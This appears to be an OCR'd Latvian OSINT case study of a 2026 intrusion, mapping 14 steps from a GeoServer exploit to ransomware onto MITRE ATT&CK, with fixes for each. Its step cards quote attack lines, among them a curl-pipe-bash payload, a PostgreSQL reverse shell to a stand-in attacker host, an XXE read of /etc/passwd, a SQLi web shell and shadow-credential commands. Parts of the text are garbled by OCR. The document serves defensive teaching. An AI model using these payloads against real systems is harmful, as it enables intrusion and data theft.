OSINT - MACIBU MATERIALS - LESSONS LEARNED

Anatomija viena kiberuzbrukuma

Ka 14 solos no vienas interneta pieejamas kladas tika parnemta visa infrastruktara
— un ka katru no Sim kJddam novérst. Anonimizéts gadijuma pétijums (2026. g.

janijs, Latvija).

14 anti-pattern — fix MITRE ATT&CK Dwell time ~10 dienas 2026-06-28

Laika linija — cik ilgi nepamanits

Rekonstruéts no publiski nopladuso ekranuznémumu laika zimém (datumi anonimizéti lidz dienai).

—_ L 2 O = @ - —
12. jan 13. jan 14. jan 16. jan 19. jan 21. jan 22. jan ~00:58 25.-26. jan

Sakotnéja Tikla skenésana +  lekséjie pivoti AD kartésana DB pivots + C2 tikls pilna Backup apturéts Publiskie
piekluve + AD kartésana turpinas beacon darbiba - Sifrésana — pazinojumi +

izlukosana atklats atribdcija
~10 dienu klatbatne pirms atklasanas (dwell

time)
@ Piekluve IzlukoSana @ Pivots @ Noturiba @ letekme @ Publiski

Redzamie laiki ekranuznémumos pierada ~10 dienu klatbatni (12.—22. jun) PIRMS atklasanas — saskan ar publisko
eksperta vértéjumu 'vairak neka nedé|u'. Tas ir galvenais detekcijas-aiztures macibu punkts.
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Uzbrukuma kéde — 14 kludas un to labojumi

Katra kartite: ievainojamibas klase - MITRE taktika - ka strada - probléma - piemérs - labojums. Visi iekséjie nosaukumi, IP
un konti ir aizklati.

@) sakotnéja piekluve — GeoServer RCE
Initial Access - T1190 — Exploit Public-Facing Application

KA STRADA  GeoServer atbalsta sarezgitus pieprasijumus, kur var uzdot formulu (piem., 'saskaiti $os divus laukus'). To
formulu apstrada maza paligbibliotéka commons-jxpath.

PROBLEMA Bibliotéka neatskira parastu formulu no datora komandas. Tapéc formulas vieta varéja ierakstit komandu,
un GeoServer to nevis nolasija ka tekstu, bet izpildija uz servera.

valueReference = exec(java.lang.Runtime.getRuntime(), 'curl http://uzbrucejs/x | bash')

SALIDZINAJUMS Pasiti restorana édienu, bet komentaru lodzina ieraksti 'un atslédz visas durvis virtuvé' — pavars to
izdara, jo neparbaudija, vai tas ir édiens vai pavéle.

Galvena k|uda: ievaddatus uztvéra ka izpildamu kodu. To sauc par RCE — Remote Code Execution (attalinata koda
izpilde).

v Labojums: Patchot GeoServer, nonemt no interneta vai aiz WAF; atspéjot commons-jxpath izvértésanu; ieviest egress
filtreSanu DMZ serveriem.

© ArcGIS RMI — pievils-virsma (aizsardziba nostradaja) (" INFo ]
Discovery - T1046 — Network Service Discovery

KA STRADA Java serveri var sanemt 'talvadibas objektus' caur RMI. Senak uzbrucégji sttija viltus objektu, kas, serverim
to izpakojot (deserializéjot), izpildija kodu.

PROBLEMA Seit problémas NEbija — jaunaka Java ar JEP290 darbojas ka 'baltais saraksts': izpako tikai atlautas klases,

paréjas uzreiz bloke.

DGC rejected deserialization of java.util.HashMap (JEP290 is installed) > Non Vulnerable

SALIDZINAJUMS Pasts, kas atver tikai aploksnes no zinamiem satitajiem, bet nezinamas talit izmet, tas neatverot.

Klase: Insecure Deserialization — Seit pareizi novérsts. Maciba: jauns JDK + deserializacijas filtri tieSam strada.

v Labojums: Slégt nevajadzigos RMI portus (uzbrukuma virsma) pat ja deserializacija blokéta.

© Splunk autentificéts RCE (pivots) D

Execution / Lateral Movement - TL059 — Command and Scripting Interpreter

KA STRADA Splunk Jauj lietotajiem augsupieladét 'aplikacijas' (paplasinajumus). Tas var saturét skriptus/XSLT
transformacijas, ko Splunk pats izpilda.

PROBLEMA Ar derigu (vaju) login hakeris augSupieladéja Jaunu app, un Splunk to izpildija ka root. SELinux bija
‘'unconfined' — nekadu ierobezojumu procesam.

msf > use exploit/multi/http/splunk_xslt_authenticated_rce » uid=0(root),

context=unconfined_service

SALIDZINAJUMS Birojs, kur jebkurs darbinieks drikst pievienot 'spraudni', un dators to palaiz ar direktora tiesibam.

Klase: Authenticated RCE caur app upload. Probléma: vajas paroles + lietotaji drikst augSupieladét izpildamu kodu.

v Labojums: Stipras unikalas Splunk admin paroles + MFA; aizliegt lietotaju app augsupieladi; SELinux confined politika;
SIEM audits arpus pasas Splunk.
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@ PostgresQL COPY ... FROM PROGRAM RCE D

Execution / Lateral Movement - TL059 — Command and Scripting Interpreter

KA STRADA PostgreSQL komanda COPY parasti ieladé/izvada datus no faila. Bet variants COPY ... FROM PROGRAM
palaiz operétajsistémas programmu un panem tas izvadi.

PROBLEMA To drikst tikai superuser. Aplikacijas DB kontam bija superuser tiesibas, tapéc hakeris caur to palaida
jebkuru OS komandu.

CREATE TABLE x(o text); COPY x FROM PROGRAM 'bash -i >& /dev/tcp/UZBRUCEJS/4uuy 0>&1';

SALIDZINAJuMS Gramatvedim iedeva direktora atslegu karti — tagad vins var ne tikai gramatot, bet atvert jebkuras
durvis éka.

Klase: RCE caur parak privilegétu DB kontu (superuser tur, kur nevajag).

v Labojums: Nonemt superuser no app DB kontiem; ierobezot COPY PROGRAM; PostgreSQL pieejams tikai no app servera.

© GeoServer XXE recon + admin kontu identificésana ( vipiss )

Discovery / Credential Access - T1083 — File and Directory Discovery
KA STRADA Serveri pienem XML pieprasijumus. XML var definét 'entitijas’ (saisindjumus). 'Aréjas entitijas' Jauj XML
ieladét aréju resursu vai lokalu failu.

PROBLEMA XML parsers |ava aréjas entitijas, tapéc hakeris piespieda serveri nolasit lokalus failus (piem., /etc/passwd)
un atdot to saturu atbildé.

<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> ... &xxe; = redzami konti <konts>,

<konts>, <konts>

SALIDZINAJUMS Aizpildi anketu, kur viena laucina ieraksti 'ielimé seit seifa satura kopiju', un iestade paklausigi to
pievieno atbildei.

Klase: XXE — XML External Entity (failu lasiSana / informacijas noplade). Maciba: atspéjot aréjas entitijas parseri.

v Labojums: Patchot VISUS hostus (ne dazus); atspéjot aréjas entitijas XML parseros; nelietot atpazistamus admin kontu
nosaukumus, ieviest LAPS un atseviskus admin kontus.

@ FreePBX SQLi — web shell - AD apakstikls

Lateral Movement - T1190 / T1505.003 — Web Shell
KA sTRADA Timekla lapas glaba datus datubazé un veido SQL pieprasijumus no ievaddatiem (piem., no meklésanas
lauka vai parametra URL).

PROBLEMA FreePBX neattirija ievadi, tdpéc hakeris ierakstija SQL kodu, kas mainija pieprasijuma jégu — pievienoja sev
admin kontu un augsupieladéja web shell. Vél Jaunak: serveris bija taja pasa tikla ka AD.

GET /admin/config.php?display=modules&id=1' UNION SELECT ... » izveido admin - /sh.php?c=id

SALIDZINAJUMS Veidlapa 'vards' vieta ieraksti Janis; un padari mani par direktoru' — sistéma izpilda abas dalas.

Klase: SQL Injection (ievaddati sajaukti ar komandu). Pastiprina: plakans tikls bez segmentacijas.

v Labojums: Patchot/izolét FreePBX; VolP atseviska VLAN, nekad kopa ar AD/serveru segmentu; web shell detekcija (failu
integritate, Linux EDR).
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@ Redis (bez auth) + Hangfire job RCE [ AuasTs )
Lateral Movement - T1059 — Command and Scripting Interpreter

KA STRADA Redis ir atra atminas datubaze; Handfire taja glaba 'fona darbu' sarakstu (ko serverim izpildit). Darbs
apraksta .NET klasi un metodi, ko serveris izsauc.

PROBLEMA Redis bija bez paroles un sasniedzams tikla. Hakeris ierakstija viltus 'darbu’, kas izsauc
System.Diagnostics.Process.Start, un serveris to izpildija.

redis-cli HSET hangfire:job:1 Type "System.Diagnostics.Process" Method "Start" Args "[base6u

caulal"

SALIDZINAJUMS Uz biroja ledusskapja (bez slédzenes) pielimé uzdevumu lapinu 'palaid So programmu', un darbinieks to
izdara bez jautasanas.

Klase: Redis bez auth + nedross darbu avots — RCE. Maciba: parole/ACL un piekjuve tikai no app.

v Labojums: Redis requirepass/ACL + protected-mode, saistit uz localhost; Hangfire deserializacijas ierobezojumi; piekluve
Redis tikai no app.

© JDWP (Java debug ports) izpilde [ AuasTs )

Lateral Movement - T1210 — Exploitation of Remote Services

KA STRADA Java izstradei ir 'atkludoSanas rezims' (JDWP, parasti ports 5005). Tas |auj attalinati apturét programmu un
pat izpildit jebkuru kodu tas iekSiené.

PROBLEMA JDWP péc dizaina NAV nekadas autentifikacijas. Tas palika ieslégts produkcija, tapéc jebkurs, kas sasniedz
portu 5005, var izpildit kodu.

nmap > 5005/tcp jdwp ; jdb > breakpoint - java.lang.Runtime.getRuntime().exec("bash -c ... ")

SALIDZINAJUMS Atstdj atvertas 'tehniskds durvis' aiz mdjas bez slédzenes, un uz tam vél rakstits 'te drikst darit visu'.

Klase: atklats debug ports = neautentificéta RCE. Maciba: debug rezims OFF produkcija, ja vajag — tikai localhost.

v Labojums: Nekad neatstat JDWP/debug portus produkcija; ja vajag — tikai localhost; skenét tiklu atvértiem debug
portiem.

© BloodHound + decompiléti JAR — EWS impersonacija

Credential Access / Collection - T1552.001 — Credentials In Files
KA STRADA Java aplikacijas (JAR faili) ir vienkarsi arhivi — tos var 'atpakalkompilét' un izlasit avotu. BloodHound savac
AD datus un parada, kurs kontu var izmantot, lai tiktu [idz administratoriem.

PROBLEMA JAR ieks$a bija ierakstita parole (hardcoded secret). Konts '<konts>" turklat bija ar EWS
Applicationlmpersonation tiesibam — tas Jauj lasit JEBKURA lietotaja pastu.

jd-gui app.jar » String pass = "S3cr3t!"; + <konts> € <grupa> (EWS)

SALIDZINAJUMS Atsléga noslépta zem kajslauka, un blakus saraksts 'kuras durvis ved uz seifu'.

Klase: Hardcoded secrets + parak plasas tiesibas (impersonation). Maciba: noslépumi vault, minimalas tiesibas.

v Labojums: Nekadu noslépumu koda/JAR (secrets vault + rotacija); nonemt plasu Applicationimpersonation; pasiem
regulari palaist BloodHound, lai atrastu sadus celus.
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(D ManageEngine Password Manager Pro (7021 paroles)

Credential Access - T1555 — Credentials from Password Stores
KA STRADA ManageEngine Password Manager Pro (PMP) ir 'parolu seifs' — centralizéti glaba visu sistému paroles, lai
administratori tas érti lieto.

PROBLEMA  Tiklidz hakeris ar augstam tiesibam piekluva seifam, vins to vienkarsi EKSPORTEJA — 7021 paroles viena
faila, bez papildu skérsliem (nav MFA/JIT/eksporta bridinajuma).

PMP > Resource Exported (7021 paroles; lielaka dala = AD konti) no <IP>

SALIDZINAJuMS Visa biroja atslégas viena kasté, kas tiek pie kastes, tiek pie visas ékas uzreiz.

Klase: 'krona dargumu’ centralizacija bez aizsardzibas — masveida kredencialu zadziba.

v Labojums: PMP ar MFA, IP ierobezojumi, just-in-time piek|uve, bridinajumi par masveida eksportu; ROTET visas 7021
paroles (uzskatamas par nopladusam).

(@ Certipy Shadow Credentials — Domain Admin
Privilege Escalation - T1649 — Steal or Forge Authentication Certificates

KA STRADA AD kontam var pievienot ‘atslégu kredencialu' (msDS-KeyCredentialLink) — sertifikatu, ar ko pieteikties
bez paroles (domats Windows Hello u.tml.).

PROBLEMA Ja vari rakstit So lauku CITAM kontam, vari pievienot SAVU atslégu administratoram un pieteikties ka vins
— ieg0t TGT un NT hash. Serveri bija patchoti, bet AD CS / ACL konfiguracija to atlava.

certipy shadow auto -u user@<doméns> —-account admin - TGT + NT hash » nxc smb <IP> (Pwn3d!)

SALIDZINAJUMS Tev atlauj pievienot SAVU pirksta nospiedumu direktora durvim — tagad tu vienkarsi ieej ka direktors.

Klase: AD CS / ACL misconfig (ESC, Shadow Credentials) — Domain Admin bez paroles.

v Labojums: Auditét AD CS Sablonus (ESC1-ESC8); ierobezot, kas drikst rakstit msDS-KeyCredentialLink; tiered admin
modelis; uzraudzit Certipy/shadow cred parakstus.

(@ vCenter / vSphere pilniga parnemsana (428 VM) [ kRiTiSKS ]

Impact / Control - T1078 — Valid Accounts

KA STRADA vCenter ir visu virtualo serveru centrala pults — start/stop, konsole un pat piekluve katras VM diskam (428
VM).

PROBLEMA vCenter pieteikSanas bija sasaistita ar parasto AD. Tapéc péc Domain Admin iegtsanas hakeris automatiski
kluva ari par vCenter administratoru.

Login Administrator@<serveris> - <serveris> - U428 VMs (pilna kontrole)

SALIDZINAJUMS Viena galvena slédzene, kas atver visu serveru telpu un katra servera 'cieto disku'.

Klase: parvaldibas plaknes sasaiste ar AD = single point of failure. Maciba: atsevisks SSO + MFA vCenter.

Vv Labojums: vCenter SSO atdalits no parasta AD DA; MFA; atseviski vSphere admin konti; ESXi lockdown rezims;
segmentéts parvaldibas tikls.
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@ Ssliver C2 'meis’ (persistence) D

Command and Control - T1071.001 — Application Layer Protocol
KA STRADA Péc piekluves uzbrucgji uzstada 'beacon’ — programmu, kas periodiski ‘atzvana majas' péc komandam.
Sliver ir populars $ada C2 (Command & Control) riks.

PROBLEMA Beacon izmantoja mTLS pa portu 443 (parastais HTTPS ports), tdpéc sajaucas ar normalu trafiku. Nebija
EDR un izejosas trafika inspekcijas, lai to pamanitu.

sliver > sessions » 10+ hosti (splunk, <serveris>, <serveris> ...) visi root, mtls, 4u3

SALIDZINAJUMS Spiegs biroja, kas katras 30 sekundes piezvana prieksniekam pa parasto telefonu — neviens nepamana
vienu zvanu starp tukstoSiem.

Klase: C2 persistence. Maciba: EDR + izejosa trafika/uzvedibas (beacon) detekcija.

v Labojums: EDR/anomaliju detekcija (arT Linux); izejosa TLS/JA3 analize; beacon-periodicitates meklésana; aplikaciju balti
saraksti serveriem.

(D Veeam: backup iznicinasana + eksfiltracija ~ Ransomware
Impact - T1490 / T1u486 — Inhibit Recovery / Data Encrypted for Impact

KA STRADA Veeam veido rezerves kopijas (backup) — galvenais glabins péc avarijas vai ransomware, lai datus varétu
atjaunot.

PROBLEMA Veeam serveris bija doména un sasniedzams ar Domain Admin tiesibam. Hakeris apturéja/izdzésa backup
darbus PIRMS Sifrésanas, tapéc nebija no ka atjaunoties.

FreeRDP > Veeam konsole (<serveris>) - visi backup darbi 'Stopped' > tad ransomware

SALIDZINAJUMS Pirms aplaupisanas zaglis vispirms sagriez signalizaciju un iznem rezerves atslégas, lai neviens nevar
atgriezties iepriekséja stavoklr.

Klase: ‘inhibit recovery' (T1490) + datu SifréSana (T1486). Maciba: imutabls, no doména izoléts backup.

v Labojums: Imutabls, offline/air-gapped backup (3-2-1-1-0) atseviski no doména ar atseviskiem kontiem + MFA;
bridinajumi par backup darbu masveida apturésanu; regulari atjaunosanas testi.
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Ko uzbrucéjs ieguva (datu kategorijas)

Bez konkrétiem datiem — tikai kategorijas, lai saprastu seku mérogu.

Kategorija

Kredenciali (paroju
glabatuve)

Active Directory
noslépumi

E-pasts (Exchange/EWS)
Pirmkods un aplikacijas
Active Directory struktira
Virtualizacijas platforma
Datubazes

Masveida eksfiltracija

Personas dati (publiski
apstiprinats)

Apraksts

7021 paroles no ManageEngine PMP — lielaka dala Active Directory konti

~7000 paroJu/NT hesu, 4 shadow credentials, Exchange admin parole tira teksta

Pilna piekluve jebkura lietotaja pastam caur Applicationlmpersonation
GitLab pirmkods + decompiléti JAR ar hardkodétiem kredencialiem
Pilna AD kartésana (BloodHound) — grupas, celi, impersonacijas tiesibas
vCenter kontrole par 428 VM (potenciala piekluve visu VM diskiem)
PostgreSQL un saistito sistému saturs (RCE limeni)

Hakera anotacija (14. posms): 'All data exfiltrated' pirms ransomware

Darbinieku/klientu vardi, personas kodi, kontaktinformacija; ~1400 darbinieku paroles
atzitas par kompromitétam (organizacija/CERT publiski)

MITRE ATT&CK karte

Technika Taktika

T1190 Exploit Public-Facing Application
Tio04d6 Network Service Discovery

T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery

T1190 / Web Shell

T1505.003

T1210 Exploitation of Remote Services

T1552.001 Credentials In Files

T1555 Credentials from Password Stores
Ti649 Steal or Forge Authentication Certificates
T1078 Valid Accounts

T1071.001 Application Layer Protocol

T1490 / Inhibit Recovery / Data Encrypted for Impact

T1486

Top kludas, ko nepielaut

1. Plakans tikls / vaja segmentacija — FreePBX un AD viena apakstikla (6., 14. posms).

2. Nepatchoti pieejami servisi — GeoServer, FreePBX, Splunk, JDWP (1., 3., 6., 8.).

3. Parak privilegéti servisa konti — PostgreSQL superuser, root visur, EWS impersonacija (4., 9.).

4. Noslépumi pieejami — hardkodeéti kredengiali.JAR: BMBP at£02kRaralem {9ad Ok

letekme



5. NeierobeZota izejosa saite (egress) — reverse shell un C2 brivi uz 443/80 (1., 13.).
6. AD CS / Shadow Credentials konfiguracija — DA pat ar patchotiem serveriem (11.).
7. Backup nav imutabls/izoléts — iznicinats pirms ransomware (14.).

8. Detekcijas trukums — neviena posma laika nebija reakcijas; Splunk pasu parnéma (viss).

Par So dokumentu. Izglitojoss OSINT apkopojums, balstits uz publiski pieejamu informaciju un publiski noplidusu materialu metadatiem. Apzinati

neieklauj ekranuznémumus, iekséjos hostname/IP, kontu vai personu vardus, paroles vai jebkadu sensitivu saturu. Mérkis — lai izstradataji un IT

komandas macas no Sim kjadam un tas nepielauj. Nav oficials nevienas iestades dokuments. Generéts: 2026-06-28.
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